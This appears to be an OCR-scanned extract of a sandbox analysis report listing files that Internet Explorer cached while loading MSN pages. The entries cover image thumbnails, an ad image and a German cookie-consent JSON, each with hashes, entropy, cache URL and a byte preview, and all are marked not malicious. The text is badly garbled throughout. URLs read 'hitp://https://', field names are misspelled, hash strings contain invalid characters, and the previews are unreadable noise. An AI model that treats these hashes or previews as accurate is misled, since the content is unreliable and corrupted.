C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS61XJW6\AAzb5EX[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

371

6.987382361676928

false
6:6v/IhPkR/ikU2KG4Lph60GGHyYY6Gkcz6SpBUSIrwJuv84ipEUPJT+p:6v/78/Y2K7mOGGSXEBUQZKRbPBs
13B47B2824B7DE9DC67FD36A22E92BBE

5118862BA67A32F8F9E2723408CF5FAF59A3282C
9DB94F939C16B001228CA30AF19C108F05C4F1A9306ECC351810B18C57F271D4
001A4A6E1B08B32C713D7878E00E37BF061DCFC34127885FB300478E929BC7A8FF59D426FE05183CODDABOSESEF09C4E4769A038787838CC8AT724B3233145C6L
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzb5EX.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

J...Ctp...;." HL.@..xa.Q..W...0...o{....\.Y L. O..7;H...*.pR..3.x
WZV...RA.Z.xs.....n.E....I[END.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellIE\CS61XJW6\BB10MkbM[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:
Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
downloaded

965

7.720280784612809

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\BB10MkbM[1].png

SSDEEP: 24:T2PqcKHsgioKpXR3TnVUVPkKWSsvIos6z8XYy8xcvnla:5PZK335UXkJsglyScfla

MDS5: 569B24D6D28091EALF76257B76653A4E

SHA1L: 21B929E4CD215212572753F22E2A534A699F34BE

SHA-256: 85A236938E00293C63276F2E4949CD51DFF8F37DE95466AD1A571AC8954DB571

SHA-512: AE49823EDC6AE98EE814B099A3508BA1EF26A44D0OD0O8E1CCF30CABO09655A7D7A64955A194E5E6240F6806BCOD17E74BD3C4C9998248234CA53104776CCO0A(
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB10MkbM.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png

Preview:
.PNG........IHDR. ..a....sRGB. .gAMA.. pHYs...#..#.x.2v...ZIDAT8OmS[h.g.=s..$n...]7.5..(.&5...D..Z..X..6....0.-.HIm.B.. .Z,.D.5n.1...7g7;;.;3.wW. . ......
.}..5...C==}..hd4.00../1.1.*.U8.w.B..MO..7}........J...Li.. T...(d.d*.L.sr....... g?.aL.WC.S..C...(.pl.YWc..e........ ZSe LG NANLL(ANCLLELL X4 LA, L AFL.G..
8..m..RYDu.7.>...S.....k.....GO.........R....5.@.h...Y$..uvpm>(<..q.,. PY....+...BHE..;.M.yJ...U<..S4.j..g....x ...... . qg.).~..oy..h..ub....i
..0...L....l.gh.z..8.1&....,IC.U.V,_._. 8<..Ab.|N 2. > OA..;.0...n 'IK\..C.a.1$8.~.0...4}..~5.\6...2?..5.X.U....%...@.N....@..HJIh].....Il....
Adm..@......... gV...c.X...t.1CQ..TL...r3.n.. ..t.....‘...$...ctA....H.p0.0.A..IA.o.5n.m...\.I.B>....><..L.+.H.c6..u...7....‘....M....IEND.B‘.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB14hqOP[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3

Category: downloaded

Size (bytes): 14112

Entropy (8bit): 7.839364256084609

Encrypted: false

SSDEEP: 384:7EIqipbU3NAAIBQVoqHDZJEfE7Td4Th67Bx/J5e8HOVIHB: 7EIqZT5DMQT+TEfS90VT

MDS5: AB54465EC3B994F316791CAFDE3F7E9C

SHA1L: 694A7D7E3200C3B1521F5469A3D20049EE5B6765

SHA-256: 2A10D6E97830278A13CD51CA51EC01880CEBC44C4A69A027768218934690B102

SHA-512: 9D12A0F8D9844F7933AA2099E8C3D470AD5609E6542EC1825C7EEB64442E0CD47CDEE15810B23A9016C4CEB51B40594C5D54E47A092052CC5E3B3D7C52E9D6
7

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB14hgqOP.img?h=368&w=622&m=6&0=60&u=t&o=t&I=f&f=jpg

Preview:
...... JFIF i Ces )10) 3:J>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
W11A.Qa."q.2... #B...R..$3br........ %&'()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
w......11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
tuvwxyz. oo Z( 2 (ceeen (odith.@...+....9..V.\"L@....|....n...@My..Ww9;.5].@....L. k.. w2."...
M8)4..>.u9..5U.w9,M( QNwp*3&MJIrf..J..|p...n .j.qW#.5W.)& & .EN. %" Ty .U.4.IK.sK.00j.....Z..3]...")..c..~... .RqL...lcym..R..
gTa..a9.+...5-W'.T@.N.8"

...J.6.r.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\CS61XJW6\BB1brelx[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: downloaded

Size (bytes): 19085

Entropy (8bit): 7.937623570857103

Encrypted: false

SSDEEP: 384:74N9+FAW+z5P7MSOMND+Tim+H4uCnOe6TbYy:74nz9P7MsMNDLmM+HEOwy

MDS5: F29D4205CBF362FE9066E1C52C7610C9

SHA1L: D694BE73C03DBE12C7960C29ACFEF4876F07DD7B

SHA-256: 25219506704FF45BC2E351B86B5847A02848342F163C33E3A8EA8COC7B35C956

SHA-512: 639CFB015632AC3E812F1816F985F6B528A5C7E3A2AB1CEF110A646851AB1A8D56356C0375D455CCD2D2061C4E161A720D2F973FE911FA7E188AD36AF50EC40
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1brelx.img?h=368&w=622&m=6&q=60&u=t&0=t&I=f&f=jpg&x=746&y=351

Preview:

&' ()*56789.CDEFGHIJSTUVWXYchefghus

. ._4..1.] ..... b..X3K.LQ.waasFi)h...&h..] ....... sE.h=....A.X..,.4n...]..]....].n4
..J.c.....Rb...q....&)]...X.6..T.sV..P~.a.G.4 .).S. (.).|B.v.@$..M.4.qM6+!WQ..Q...d5...%. .LR.P...;iN.O..8%..;.hW.[?70ZC#.....k..C.. 2?23Cv....}.c....1P.
CHT.<r=@.G..R....{G..Af0.M..FGOZ.m...._.YJ.[rW.;}F

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\CS61XJW6\BB1cG73h[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 917

Entropy (8bit): 7.682432703483369

Encrypted: false

SSDEEP: 24:k/6yDLeCoBkQgDWOIlotl9PxlehmoRArmufob/DeyH:k/660WQiWOIlul9ekoRkf9b/DH
MD5: 3867568E0863CDCE85D4BF577C08BA47

SHAL: F7792C1D038F04D240E7EB2AB59C7E7707A08C95
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB1cG73h[1].png

SHA-256:
SHA-512:
Malicious:
|IE Cache URL:

Preview:

BE47B3F70A0EA224D24841CB85EAED53A1EFEEFCBI1CI003E3BES55FA834610F
1E0A5D7493692208B765B5638825B8BF1EF3DED3105130B2E9A14BB60E3F1418511FEACFIB3CI0E98473119F121F442A71F96744C485791EF68125CD8350E97D
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cG73h.img?h=27&w=27&m=6&q=60&u=t&o=t&|=f&f=png

...SRGB......... gAMA.....a....pHYS.....ceeen. *IDATHK.V;0.A.{m...P,.$D.a..* H.."...h....0... )R(.IA...(".......... u...LA.dovfg....3.".+.b....V..m.J..5-.p8.
NG NALLALd?IX e BUDs L INaa. ...C.$.<(J...tU..s...."JRRC8%..~H..u...%...H}..P. 1yD...c ...... $.@@....... “*J(CWZ..~}.&
....d.B..L".<>.K.0.xs...+.$[..P....'NNN.p....e..M,.zFO .5+ .K.4Jc#5K.R..*F. .B.E. #..+06..v..w...V...1..8|Sat..@..}.Pn.7...Cr...i...@.....

...n....K.}1.].OvB.q..0,...u..,....m}§)V....6m...S.H~.O......... \.....PH..=U\...d.s<..m..A.8.i0.P..Y..Cg>......S....U......1L%.Td.3c.7..?2.E.P..$#i[a.p.=.0..\..V*..?. ./e.0.._
LB.JYY.;.\0..]..[N.8.h. A .<(.&qrl<L(.ZM....gl:.H....0a=.C@.@......S2.rR.m....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\BB1cGyFI[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

18494

7.885933738641973

false

384:7yAZw2yMdG20RGG+he090lvN+m9UWRpZwi+em0+z:7V6Md/nG+heOy+mmKHwtOe
69BBB5B8A0C754D084EA6CFEDF644A7B

BO1FE2EB9432988B309CC2E892D9B08200EB6FDE
FEC96B2FA831E9F29F91CB6E08827575FC8361C1AC1803FF7A0AOE30F55235BB

375C6DEE32AC9B4EEFFAO07F75F96F291A4EGEAF9EGC6A4B622EES05B7D2AC5A108FF67BF888F50F1A9F83A8F7C37AFAF1744AADDE4189EEDBEBB40DC3DD5
06B8

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cGyFIl.img?h=368&w=622&m=6&0=60&u=t&o=t&|=f&f=jpg

&'()*56789:CDEFGHIJSTUVWXY Zcdefghijs
.J)h Dh..d)hd)hedhed)h.
2(( ..... Z2((onZ( (o 2 (o Z( o Z(( ..... 20 (o Z( (oo )CorfF e Oy ALF.WP._...J." K.AR.VN%..P.QKE.%..

P.QKE.%..P.QKE.%.. PQKE

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB1cYFXc[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

8952

7.878983039057633

false

192:BY6nXqjEZUWphOvoCq6w9+EwkvYQoL3ly7zx0BOoHNL5SHE/R48CD:e64S0VLLEBPly7zuBOoHNNSk/Ot
3132911C1095682A64FC17A30428ECE5S

234722B878447462910CEE588610B4271745BC6D
2060E8A0D91F2B99F352B7FED6D578CF751E61407F04433EC35566DC8B926AFA

BD4D3066CC02029FE6F5C33B8C394751DBDFC4A7AF317F6CDOBC1FED3DA2F3AA9ED328C953DC38270601DFD3FF69689DFDOES3321229681C7FBF026574116L
1

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYFXc.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg

ijstuvwxyz
Zcdefghijstuvwxyz.
~K{.....M..M7.\....h
.mJ..u.2.1Xel."..w.rl...

....... w.......!l..AQ ag."2...B....#3R..br..$4.%.....&'()*56789:CDEFGHIJSTUVWXY
. ..2.(.V..Q@.E-...R.P.E-%....P.QE-...(.aE.P.IKE.%%.......... Z3.(conZ( (I 2) S 2
.kb..lo*H...k..k[.9D..<N;...P..X..3G. 1 .CAW.,.H.#..S.jF>.(.bR.E.%..P.QE..QE..(...%.Q@.%-..JJZJ".QE..QE..QE.%.Q@.%-...R.P.E-%..QE0<.."
s i T m.0...X....u.c.P.HH..r.J..."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6I1XJW6\BB1cYXM1[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

9302

7.740117066295701

false

192:BYZz5ITCV2tSKKnJtEFONDu0o3KfTP29HOKIViTsb4jYwL:ezqpKK7cOhu/fT+Hgiob4H

E8891F7768542DA8233A5960D9C558AE

A24CABAAA931F1668AF96E53796F44704B7FAC2D
979EABAFC6B23D581FB97CICE6D0O5D15AFBB5E364CE7C37A8827365F2AC1CABF
4C6821E386CB1AC2F4CC749CD711B9BEA3CB60D96F52BB540FEBA2CEB7211E25F3C4663CA469630F42A9CF3EB2FA5543F00304AFB9004866FOCFE80C681970¢
2
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB1cYXM1[1].jpg

Malicious: false
IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYXM1.img?h=333&w=311&m=6&q=60&u=t&0=t&I=f&f=jpg

Preview:

ijstuvwxyz
Zcdefghijstuvwxyz.

...QE..QE..QE..QE..QE.Y..)gKRP
RLJIKF(een Q.v(..3.....0.....Rb.E&(..R.N.&(..SH..I..)10.&(..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB1cYZkP[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 622x368, frames 3
Category: downloaded

Size (bytes): 12491

Entropy (8bit): 7.793311471840139

Encrypted: false

SSDEEP: 192:BpM5EEOc/bEak7ckrNoFA7ZoJYpAWF3/SWtleudYWZgvXwYGevSFcuV:7MgEO7gi77ZoJYpXagxtgBcO

MDS5: 5D7070439CD22A44C65A7473D3100658

SHA1L: 871DFDD213CEAA9A488D8F5254C76D66E6DDF781

SHA-256: 513613E6100A2668AAB95D2485CA0A8807A983DDE77B24879E64A37998CIDE40

SHA-512: F7D61E482A1F2D17944ED03864935A97C943C20D68CEE2A7F45220B08B7D81FC5BC4226C114C788F30749979AD0E2215FD68CEC3DE21E3FD1789BBDEBOD643|
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cYZkP.img?h=368&w=622&m=6&q=60&u=t&o=t&I=f&f=jpg&x=560&y=312

Preview:

%&'()*456789:CDEFGHIISTUVWXY Zcdefghijstuvwxyz
....... 11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
tUVWXYZ. 2. .CLAM. .H.....'FE(.4.H..A9...f..2CQ.Z{.TRj..DdqT..j.0.hB..L..E\....... o %U.....A2uk9....,ug@....Ql.
..p5J..9.A.PQ84.55|.7S7TR..@...{WP"Ph.F...~i.75...y....... W.....j..Ww..QbU....@...p i.... EXmK.H z........ Ze..=...~@%$R*...B@..aY ]<...Ef.rg2wU...;c.S.2.n...<|
p..JF8"N.C..P.SQ4.2..,...J..q.PIZ.... kA .20 T

W.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB1cZ04B[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 350x350, segment length 16, baseline, precision 8, 311x333, frames 3
Category: downloaded

Size (bytes): 8476

Entropy (8bit): 7.8817043143481635

Encrypted: false

SSDEEP: 192:FYiSvT5ziuelWv3ow9XQtncmgKTaA2pnzjlZBBUQCQKVmM5awN:CVT5FeleoOQtcmlaA2FzjDBGOKVm5awN

MDS5: O0FB88B9014774347693979C626CD63FE

SHA1L: 5162CDDCA923E22F4908C09D803918656756A0C5

SHA-256: 79DE8B890EF905CAAIAAC38DA27DOEA72EICTET73F573E942279AA817FF1ASC39

SHA-512: 989AE11C70A9CAEECE49FF48449CBEF000313308687879691FE1FE0A8868211D50DE8904C0AD1C4917C698C469D38FDBEA6F191FOCA2378ECIDID2C6DA9IBBOT
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cZ04B.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg

Preview:

...... JFIF... AN Coiiiees e )100)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
11A..Qa."q.2...#B...R..$3br........ %&'()*456789:CDEFGHIISTUVWXYZcdefgh
w......!11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY
1K\R.cgK.v)gHC1F)... #...11.@3..LRb.#.l..LP.x.+R.HE.E.B*LR.L...H.H."....S.M"..H..S.M"...M"."
i.l.P.DR.RM"#"q.P.k8.......C...}.*9X...0Q.....0.L.W5].......=....... o<t o=l Q3B F WG =y Wt BX O
Ji...).S. . R.M"

ijstuvwxyz....
Zcdefghijstuvwxyz.
.E1..M".".E.BE4...0."FEA4...
voe;21\..%...20k..2.gh.$.R.U...A..V.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellIE\CS61XJW6\BB6Ma4a[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 396

Entropy (8bit): 6.789155851158018

Encrypted: false

SSDEEP: 6:6v/IhPkR/CnFPFaUSs1venewS8cJY 1pXVhk5Ywr+hrYYg5Y2dFSkjhTSuME|jrTp:6v/78/kFPFnXleeH8YY9yEMpyk3Tc
MD5: 6D4A6F49A9B752ED252A81E201B7DB38

SHAL: 765E36638581717C254DB61456060B5A3103863A

SHA-256: 500064FB54947219AB4D34F963068E2DE52647CF74A03943A63DC5A51847F588

SHA-512: 34E44D7ECB99193427AA5F93EFC27ABC1D552CA58A391506ACA0B166D3831908675F764F25A698A064A8DA01ELF7F58FE7A6A40C924B99706EC9135540968F1A
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB6Ma4a.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachell[E\CS61XJW6\BB6Ma4a[1].png

Preview:

PNG.....IHDR................ a...sRGB......... gAMA.....a....pHYs.......... (3...IDAT8OC]. ..2...|.UA....GP.*|. ....E..b....&>.*.h....c....g.N...?5.1.8p.....>1..p..0.EA.A...0...cC...0
AS...._...po)on2. AE...Y?......8p.d....$11.%.8.<6.Lf.a....%.. .-q.8..4.." . 5.GL|.L..p8 ..p....P......L.(.CIJ@LA..P..)....8...[ TMZ....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB7gRE[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

482

7.256101581196474

false

12:6v/78/kFLsiHANE30WxYZOjNO/wpc433jHgbc:zLeO/wc433Cc
307888COF03ED874ED5C1D0988888311
D6FB271D70665455A0928A93D2ABDIDICOF4E309
D59C8ADBE1776B26EB3A85630198D841F1A1B813D02A6D458AF19E9AADO7B29F

6856C3AA0849E585954C3C30B4C9C992493F4E28E41D247C061264F1D1363C9D48DB2BIFA1319EA77204F55ADBD383EFEE7CF1DA97D5CBEAC27EC3EF36DEFI
8E

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7gRE.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

PNG........
(:m.*3.. .
LEh|wg..l........ @.$.2)....18.$).t.y. W.H.HW.8.B............. IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BB7hjL[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

444

7.25373742182796

false
6:6v/IhPkR/CnFFDDRHbMgY]jEr710UbCO8j+qom62fke5Y Csd8sK CW5biVp:6v/78/kFFICENOsCoqoX4ke5V6D+bi7
D02BB2168E72B702ECDD93BF868B4190

9FB22D0AB1AAA390EOAFF5B721013E706D731BF3
D2750B6BEE5SD9BA31AFC66126EECB39099EF6C7E619DB72775B3E0E2C8C64A6F
6A801305D1D1EB448EEB62BC7062E6ED7297000070CA626FC32F5E0A3B8C093472BE72654C3552DA2648D8A491568376F3F2AC4EA0135529C96482ECF2B2FD3E

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hjL.img?h=16&w=16&m=6&9=60&u=t&o=t&I=f&f=png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\CS61XJW6\BBVuddh[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

304

6.758580075536471

false
6:6v/IhPkR/ChmU5nXyNbWgaviGjZ/wtDi6XxI32inTvUI8zVp:6v/78/e5nXyNb4lueg32au/
245557014352A5F957F8BFDAB7A3E966
9CD29E2AB07DC1FEF64B6946E1F03BCCOA73FC5C
0A33B02F27EE6CD05147D81EDAD86A3184CCAF1979CB73AD67B2434C2A4A6379

686345FD8667C09F905CA732DB98D07E1D72E7ECDIFD26A0C40FEE8BE8985F8378E7B2CBSAE99C071043BCB661483DBFB905D46CE40C6BE70EEF78A2BCDEY4!
05

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

PNG.....IHDR....c........... a...sRGB......... gAMA.....a....pHYs.......... +.....IDAT8O...P..3...v..0.}....."XD. " 5.3. ....)...a.............d.0.mSC.i..%.8%] }...m.$IOM..u.. ....9....
i X<y E.M...g... "...,5+.]..BP.5.>R....i0.0.7.]2....r\-Ca.....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BBY7ARN[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
downloaded

778

7.591554400063189
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS61XJW6\BBY7ARN[1].png

Encrypted: false

SSDEEP: 12:6v/78/W/6TiO53VscuiflpvROsc13pPaOSuTI8nKB8PIFekVA7TWMZQ4ChAYVKOA:U/6WO5Fs2dBRGQOdIBY8PHVA7DQ4ChX0

MDS5: 7AEA772CD72970BB1C6EBCED8F2B3431

SHA1L: CB677B46C48684596953100348C24FFEF8DC4416

SHA-256: FA59A5A8327DB116241771AFCD106B8B301B10DBBCB8F636003B121D7500DF32

SHA-512: E245EF217FA451774B6071562C202CA2D4ACF7FC176C83A76CCA0A5860416C5AA31B1093528BF55E87DE6GB5C03C5C2C9518AB6BF5AAL71EC658ECT74818E8AB!
E

Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBY 7ARN.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

Preview:

x.2.m;.}1."..V...0.W7.\.5P...p..
w.,6.R%N=a....B:.Z.UB...>r..}..
wng.d.2. 0 s0F+.Cu Z....

O:/.../1.).fh*W.....P...H.7..Qv...rat....+.(..s.n.w...S...S...G.%v.Q.aX.h.4....0.~.nL.IZ.6.=..@..2 f.H...[..])..['w..r.....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\de-ch[1].json

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 78451

Entropy (8bit): 5.363992239728574

Encrypted: false

SSDEEP: 768:hlAYi1LIXQU+IE6VYKZXLX1wSICUSk4B1CO4JLtIQLNEWE9+CPmM7DIUYUS5Jfoc:hILQMFxaACNWIt9+Ym7Mkz
MDS5: 88AB3FC46E18B4306809589399DA1B04

SHA1L: 009F623B8879A08A0BDD08A0266E138C500D52DB

SHA-256: 4D4DF96DDF04BBC6255DFF587A1543B26FC23E0B825DEC33576E61B041C3973A

SHA-512: B01BB16FA1C04B2734BOB6AEE6B1FAFE914F95B21122D2480E09284B038BDI66F831C4AA42C031FESFC51718E1997F779FC6EBCD428DB943E050F362C10F4B2!
Malicious: false

|IE Cache URL: hitp://https://www.msn.com/_h/511e4956/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/6f0cca92-2dda-4588-a757-
0e009f333603/de-ch.json

Preview:
{"DomainData":{"cctld":"55a804ab-e5c6-4b97-9319-86263d365d28","MainText":"lhre Privatsph.re","MainInfoText":"Wir verarbeiten Ihre Daten, um Inhalte oder Anzeigen
bereitzustellen, und analysieren die Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf
der Grundlage einer Einwilligung und eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen lhr Recht auf Einwilligung oder Widerspruch gegen ein bere
chtigtes Interesse aus.ben, und zwar auf der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entsch
eidungen werden an unsere Anbieter, die am Transparency and Consent Framework teilnehmen, signalisiert.","AboutText":"Weitere Informationen","AboutCookiesText":
"lhre Privatsph.re","ConfirmText":"Alle zulassen”,"AllowAllText":"Einstellungen speichern”,"CookiesUsedText":"Verwendete Cookies","AboutLink":"https://go.micros
oft.com/fwlink/?Linkld=5

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellIE\CS61XJW6\http___cdn.taboola.com_libtrc_static_thumbnails_c63444a7cded4449381870b6
d61112c8[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3

Category: downloaded

Size (bytes): 13522

Entropy (8bit): 7.966999489366954

Encrypted: false

SSDEEP: 384:/sop9DCBQXcTHQSKnsyge6L6Y 1FcgN5y/eJRdhjdiZRCx/:/sop9FXVj16Gvm5ymJzh5i0/

MD5: 4744872C88AFB5F305788A6041F034D3

SHAL: D76714113B516FF4E12604BD9298A15185B9AF28

SHA-256: 1FAB6A827B7751CEB4F9F633464D05F5C26D328F54D9FEBEODO7E3FD15A6AB498

SHA-512: 2B09A3093B5955FOACE4AD09CDI359C3CEBIESEOD3D09BC578AES618785D85A3105D06151ABBAA22DEF8DDD77F6520939829F4BFCBED752EBB38EB97728CF!
9A

Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2Fc63444a7cded4449381870b6d61112c8.png

Preview:

...... JFIF e B0 8.6 &&X6>424>LDDL_Z_|[ecevevccenenm " -D*2%9 25D 7I<IUKKUINCH} o T B
WX.VeK....... for+..7.+.G....L.c..J..pV.?0....x..6..;l...v....0.%a..G..mX1..d.l..qyX........ (
XA4LYHT)"E..STV...U.b...4n..p..*......CG-p_..h.0..8P...a6$.cT...t .. X.._..cG>_>}..U.1P.....v...i..ek...M].....1\.q..V.U ...... . Im4.U.T.N{..
..,6.27..%.7..d\..|.....g...}...0..0Z...<.0<..b.n3...,& w=3....ILIX.G...s..<7...0.l.w. > K Ja XL DLY. T L_g.Wov 7. L F.W.|.q.. AL<;L.2. #.....
fFl....g....s..5...0...P..f.c..f..j5..S3N.D.m.rP..s...c..". ...q.S..... Ly~ XA & (Qu YL TLL0L T RB.(1B.0...~.LJ5.N...

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\CS6I1XJW6\https___console.brax-cdn.com_creatives b9476698-227d-4478-b354-042472d91
81c_TB1002-selfie_marco_paul-1200x800_1000x600 35a69fe848aa9c3ef7df36f95cf1c59d[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
